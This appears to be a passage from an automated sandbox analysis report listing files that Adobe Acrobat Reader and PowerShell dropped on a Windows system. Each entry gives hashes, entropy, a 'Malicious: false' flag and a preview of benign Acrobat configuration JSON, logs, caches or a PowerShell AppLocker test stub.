Preview:	{"analyticsData":{"responseGUID":"a094dee2-2072-4618-83a8-82d07dc512d0","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736736024829,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.2895309286383
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDXdT6O7J2nWsGiIPEeOF0YrDoAvJfQ1rPeUkwRe9:YvXKXxTfN2WsdTeOLsGY16Ukee9
MD5:	E4AEAF6DA96EE07A1ED8213E03905CB2
SHA1:	46511D9CE5C67698F9D90EBC80C64734AF53912A
SHA-256:	5EAE9BA782306B61E77EF1CB68208EE82DE39306B53F43F97CAD927A9C109EA1
SHA-512:	DC463207B90F151DDD8C36616BB668A6F235F5D045F60C9905A6DF996269D5AB5F98D531569ACBB77785FC602D4D0F308630395C807F3901D6E1CFEF9BD09A44
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"a094dee2-2072-4618-83a8-82d07dc512d0","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736736024829,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.302890802374624
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDXdT6O7J2nWsGiIPEeOF0YrDoAvJfFldPeUkwRe9:YvXKXxTfN2WsdTeOLsGz8Ukee9
MD5:	50BEC546742F52781FECC6C105A98C3D
SHA1:	C126AB74B8ACBFA86586EC8379EBF93FCED23849
SHA-256:	EF2D550B195382B08764BD5128811E4C08CBBA44ACD8A4F29EE882938718D3F2
SHA-512:	BBDDF844F02D39FF9D34B0985A08FBC0A437F9B063284223BC3D447602D7510E7295C8BEDA35420A56D32C93DD20203D306DB4665A08177C72CD861632F4A3B3
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"a094dee2-2072-4618-83a8-82d07dc512d0","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736736024829,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.311418613368414
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDXdT6O7J2nWsGiIPEeOF0YrDoAvJfzdPeUkwRe9:YvXKXxTfN2WsdTeOLsGb8Ukee9
MD5:	FF1D812E26DD0524AA810EDF8FBCEB89
SHA1:	8FA052943FE4AB989A102F3A4EFCFA21C3D129FD
SHA-256:	AAF21EC8F2B6780BC019EEAB0EABA0FD0C315D0DF67E106F4A5DA6B91EE6CF86
SHA-512:	A32B3FF4F94A06647AA8D0ABF0BFCCB71B319CF57E71B5E37EE3C29E95821118F3A99D62C90E6ED7F2A07B7258628318B3E7C03F16F9A1F8A92790B97BADBAFE
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"a094dee2-2072-4618-83a8-82d07dc512d0","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736736024829,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.291897407888464
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDXdT6O7J2nWsGiIPEeOF0YrDoAvJfYdPeUkwRe9:YvXKXxTfN2WsdTeOLsGg8Ukee9
MD5:	2B39F96F785BC4065BFF9333E90A0595
SHA1:	96EDE7EF799AEF0EBC1C3D6E3F6BFEA2D69ADDBE
SHA-256:	F197BA14D1BACE41C9A2024308D18AFC4C1BB81682726E74BD0C2C640A492AE6
SHA-512:	0298B7C8D4D184505074BFBD96F60D28C57FB60B8D57CC76FD0DE8A179F65E0B69E35315077511A54261D65BEC12696F0611D60C23C7EBE02212031F7E4700ED
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"a094dee2-2072-4618-83a8-82d07dc512d0","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736736024829,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.2781041203694095
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDXdT6O7J2nWsGiIPEeOF0YrDoAvJf+dPeUkwRe9:YvXKXxTfN2WsdTeOLsG28Ukee9
MD5:	0EF35B399ECD82344AACC7D64A9F5FED
SHA1:	977CA64ED0794EC7706F17403589852620316F7A
SHA-256:	B8E4C7D3B7855047490BAE27E140E836A295C6D8EF15CEE8C53C02B156970C81
SHA-512:	8C00F1B660445D23E11372DF52B33297C285FC263073D26F70F313D595424E26CD50BD988C0C6906AEC6FDDC63B1E04FAE6712C428CA3F8D4463BCB6F61B045D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"a094dee2-2072-4618-83a8-82d07dc512d0","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736736024829,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.27550019348062
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDXdT6O7J2nWsGiIPEeOF0YrDoAvJfbPtdPeUkwRe9:YvXKXxTfN2WsdTeOLsGDV8Ukee9
MD5:	87905D8D5B6777CE42B4C1EF81396249
SHA1:	D06281ECEB5C850B59375D7637126DB973806C01
SHA-256:	88FC31F5AC76434F996BD7465F8FC10F01888127DA8CC5D817F2615385316827
SHA-512:	A08107C0DD584A6BA1781BDF6CE216D2D87B79A879FF0BDE4F321B8804B7D97B718E2112EEC142E5F71A7FC3B72D6E5ADE8960F42FCD3D3F0077E53855FA78CA
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"a094dee2-2072-4618-83a8-82d07dc512d0","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736736024829,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.280039494142026
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDXdT6O7J2nWsGiIPEeOF0YrDoAvJf21rPeUkwRe9:YvXKXxTfN2WsdTeOLsG+16Ukee9
MD5:	F654627F52CD0BF5AD1D15850ED1E1DA
SHA1:	50B86F160E76EAAA78819FC1DC3A7D62D052DF88
SHA-256:	2042C489379478150974021ABB9D8C998BBBBB18E5D04796B5FC6CBD13FBF1B6
SHA-512:	39CF7CE75ECE76EEFA483A2747DB69B1A6A2888915DE25D20FE7038E47666AD9D11C12EE5E2049DC8A01139BD6CAA3746887DD72F43B0EFCC49BE1FBAE4AED15
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"a094dee2-2072-4618-83a8-82d07dc512d0","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736736024829,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.663796871479487
Encrypted:	false
SSDEEP:	24:Yv6XxTtmeOVamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BS+e1:YvGEesBgkDMUJUAh8cvM+e1
MD5:	7C7E677BF2DCF136BB99C7E0C92BC118
SHA1:	E10B9D52BBC5D6E3AD7B1023DAC10433AD321C67
SHA-256:	78CF6B950D5A8FBE209909FECE9476A5F4C9F026DAFC83C7DE97E8684384BC19
SHA-512:	BA2FC73EE1B2F8E46055DC1101E226827877F58EFAB8BCFABC06FA4FFF5CEE338682F4D78473F9901570DFC25E1E3FEF38CA5E5679AB4C4DC76107968EDC29A2
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"a094dee2-2072-4618-83a8-82d07dc512d0","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736736024829,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.254084546164949
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDXdT6O7J2nWsGiIPEeOF0YrDoAvJfshHHrPeUkwRe9:YvXKXxTfN2WsdTeOLsGUUUkee9
MD5:	456B0AC604DF3EBA6961C6E1EBE97024
SHA1:	62C90618B0B0C7EACC2EE5CA8760DBC075CEBED5
SHA-256:	2B68E8AE0D047C5B00A054EB41E4A71081AC7B75144B13AD957C9C4314779466
SHA-512:	60F60FFB2EF2F83B3F8685757C1B8CC77D49DE92AEBB4E337E7A9000C699AA1474C45FABBDEB3D5B5A0F6AD6BB2807A9640744F8DFC494A5D21B30A675F25065
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"a094dee2-2072-4618-83a8-82d07dc512d0","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736736024829,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.264820864123433
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDXdT6O7J2nWsGiIPEeOF0YrDoAvJTqgFCrPeUkwRe9:YvXKXxTfN2WsdTeOLsGTq16Ukee9
MD5:	B9996B769F0530C69B934FFA32ED3D28
SHA1:	6A1807681F13160E049B140E10085A8DD48AD706
SHA-256:	854ACE7B85311526C87C0AD54B764E7BBCDC0B9750C0D55C8520C4EB1D24AA6D
SHA-512:	A86046307F474E4B049F7ADAB45F211A5C76403B70EB2F31DEE465C4EA96E4B0C2C08E953E0102F950EDC477306DF010691967E505E988D262A7493EF43770AC
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"a094dee2-2072-4618-83a8-82d07dc512d0","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736736024829,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.1319342687409755
Encrypted:	false
SSDEEP:	48:YD97trUBAh99BRRLMUrDgY0cczenlk96VoqqfdLm932iz9:Y97trUBS99BRRLM6DgY0BzenApqqfdI/
MD5:	21EFA1BC6D737ED94D00350673663DA5
SHA1:	C26953004F84141F643ADF41AB3C98C8E029096E
SHA-256:	9E59C4B779E86AE5EDD9DB67E9BF750C6597037C71732FB7402375A304B03A8F
SHA-512:	FD7BC49ED736FD7A86EFCE82F4826ECED19BECB82CD1BCBC8B7F58D3A934EC9A5CA3DA8FBE561C8A23CF26B97B325EF1677905E48FEE0BE510CF107093CB2203
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"81ba008ce8a3c1ed61802636593bcbda","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736557554000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"4eeb7cfa04c0d11b05fb9941cba33f15","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736557554000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"402ca51c08e627c4457ac1cf6b3ddb54","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736557554000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"0f16be16a3984e5f80e8232f9d0057b8","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736557554000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"23bde2943e32d6a8afe90828f3af5fe1","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736557554000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"3a000efbf6d6917372bc6fac982d6b1f","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.45409555187641
Encrypted:	false
SSDEEP:	48:TGufl2GL7msCvrBd6dHtbGIbPe0K3+fDy2dsOvZlQvF:lNVmsw3SHtbDbPe0K3+fDZdM
MD5:	5267B0196FB68D3C12241F74C180099C
SHA1:	D2940E21C33C8D221279F03D86833E0C6CCC951A
SHA-256:	579DC647F252732F1539C0A789F0A513B4D8959B6A4A270855C9B0516FDC38F7
SHA-512:	5893BEBDDE495F2CDE6EF52402018A8A69A89A588067FA4A95002778A10598A754CB703E5B06F55FC50E6C62E8EF6CBC3D4F4F13A062D8319C0D73D53F1FF333
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.9576882198747292
Encrypted:	false
SSDEEP:	48:7MrrvrBd6dHtbGIbPe0K3+fDy2dsOvs3qFl2GL7msO:7S3SHtbDbPe0K3+fDZdOKVmsO
MD5:	D7B39D294D5D65AB57EAFB729257BA51
SHA1:	B194CEE28D9B43F881489315D1D7C0E1870CFEB2
SHA-256:	9DB10C96E824A21133A31C6FF0EF7660DD4E7BB9F1D33D4CFA7938AE9BA08E32
SHA-512:	1760FC4ADE64AA1ABAD2C26734D8C88DD208FAC625E536D939F19BBCCDA01F846414CFF61125AFC2880C488394B19BAAEDC40869E2AF9C722D8A06D1720C2C2D
Malicious:	false
Preview:	.... .c.....t........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................v.../.././././....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgkB9qbC4S0Io3rv1bKNZ6uvP09Yyu:6a6TZ44ADEkHqbrSC3rv1oeK
MD5:	A797DBB7518C3AEF6CA5FE534CC80543
SHA1:	2F285F3DC72BD792DA822C1D1E99052FC42C80FB
SHA-256:	FA4C1A83E19F7463AD522CF879A1F37AC989A4063FFBF095B8CC7438AD3386F0
SHA-512:	C5BE9C4C5AE5AA090660907B78730830AE01959A4E85040EE4EBF9D80143C38D122B1572C72409437005BF073CD22F652CFA819DCFA25AF84BBFF1207330C707
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:Nlllul3nqth:NllUa
MD5:	851531B4FD612B0BC7891B3F401A478F
SHA1:	483F0D1E71FB0F6EFF159AA96CC82422CF605FB3
SHA-256:	383511F73A5CE9C50CD95B6321EFA51A8C6F18192BEEBBD532D4934E3BC1071F
SHA-512:	A22D105E9F63872406FD271EF0A545BD76974C2674AEFF1B3256BCAC3C2128B9B8AA86B993A53BF87DBAC12ED8F00DCCAFD76E8BA431315B7953656A4CB4E931
Malicious:	false
Preview:	@...e.................................&..............@..........

C:\Users\user\AppData\Local\Temp\MSI4474f.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.486816736969832
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClIlNQ3w:Qw946cPbiOxDlbYnuRK+bnow
MD5:	A960783218224F6D1CC5E7B3BD7020DD
SHA1:	F36F466D9B34A40FD4E2A34ECD18B4A1EB96F3F1
SHA-256:	74FF67C4CD2B23310B90CFC43154656A8BF04372B2F022CD75BCCD0E1DB7643E
SHA-512:	B4BBE306B3E7CE61695D4CC31D89AE005624D2D40CD100D53C6FE694AEA72626397D8C0A1FCBCD70F2061C90B399EB3D6BC5D88102EA3E6990220776AD2CF9EE
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .2.0.:.0.5.:.5.5. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_0w3on0k1.3d4.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_guf1rks2.t4k.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 20-05-49-497.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.386483451061953
Encrypted:	false
SSDEEP:	384:A2+jkjVj8jujXj+jPjghjKj0jLjmF/FRFO7t75NsXNsbNsgNssNsNNsaNsliNsTY:AXg5IqTS7Mh+oXChrYhFiQHXiz1W60ID
MD5:	F49CA270724D610D1589E217EA78D6D1
SHA1:	22D43D4BB9BDC1D1DEA734399D2D71E264AA3DD3
SHA-256:	D2FFBB2EF8FCE09991C2EFAA91B6784497E8C55845807468A3385CF6029A2F8D
SHA-512:	181B42465DE41E298329CBEB80181CBAB77CFD1701DBA31E61B2180B483BC35E2EFAFFA14C98F1ED0EDDE67F997EE4219C5318CE846BB0116A908FB2EAB61D29
Malicious:	false
Preview:	SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:808+0200 ThreadID=6044 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:809+0200 ThreadID=6044 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:809+0200 ThreadID=6044 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:809+0200 ThreadID=6044 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:809+0200 ThreadID=6044 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.331873690103715
Encrypted:	false
SSDEEP:	384:WhdUddAkOkXnuEE4Y/Ytsu9EM7sUKxR4+B4su2GE2qclVXVmVAVfVBVSVmtVJV+u:f31xwaZj4yjku
MD5:	074FB65F9F1C225A010421D287A8344A
SHA1:	A1364E11A746A1BC0A41E11045DB756614B1D70A
SHA-256:	D04DCECB7AB3C4DB20B1146A4A8EEFB60CBDEC94EFC1718C0A202C090EE22757
SHA-512:	74BD7501645FF6C67F9C0CEE434944474079F32A06ADFB6DDF50A5D555F3B4735CDA2F4C0FAE105A3E2F89295FF25A4F8D245F9EDDB145B0C5D3FE6EB447E076
Malicious:	false
Preview:	SessionID=c35d6aee-6e43-49e6-b659-2bfebbaf17ed.1736557549518 Timestamp=2025-01-10T20:05:49:518-0500 ThreadID=8164 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=c35d6aee-6e43-49e6-b659-2bfebbaf17ed.1736557549518 Timestamp=2025-01-10T20:05:49:519-0500 ThreadID=8164 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=c35d6aee-6e43-49e6-b659-2bfebbaf17ed.1736557549518 Timestamp=2025-01-10T20:05:49:519-0500 ThreadID=8164 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=c35d6aee-6e43-49e6-b659-2bfebbaf17ed.1736557549518 Timestamp=2025-01-10T20:05:49:519-0500 ThreadID=8164 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=c35d6aee-6e43-49e6-b659-2bfebbaf17ed.1736557549518 Timestamp=2025-01-10T20:05:49:519-0500 ThreadID=8164 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	35721
Entropy (8bit):	5.40832058102728
Encrypted:	false
SSDEEP:	768:hRDD/ATOlQwlgR6RgRT4xk1Bh9+R6gRldy0+AyxkHBDgRh9gR3y:hRDD/ATOlQwlgR6RgRT4xk1Bh9+R6gRc
MD5:	6BDA901CE8C32DA6390E02CF3DA3A51C
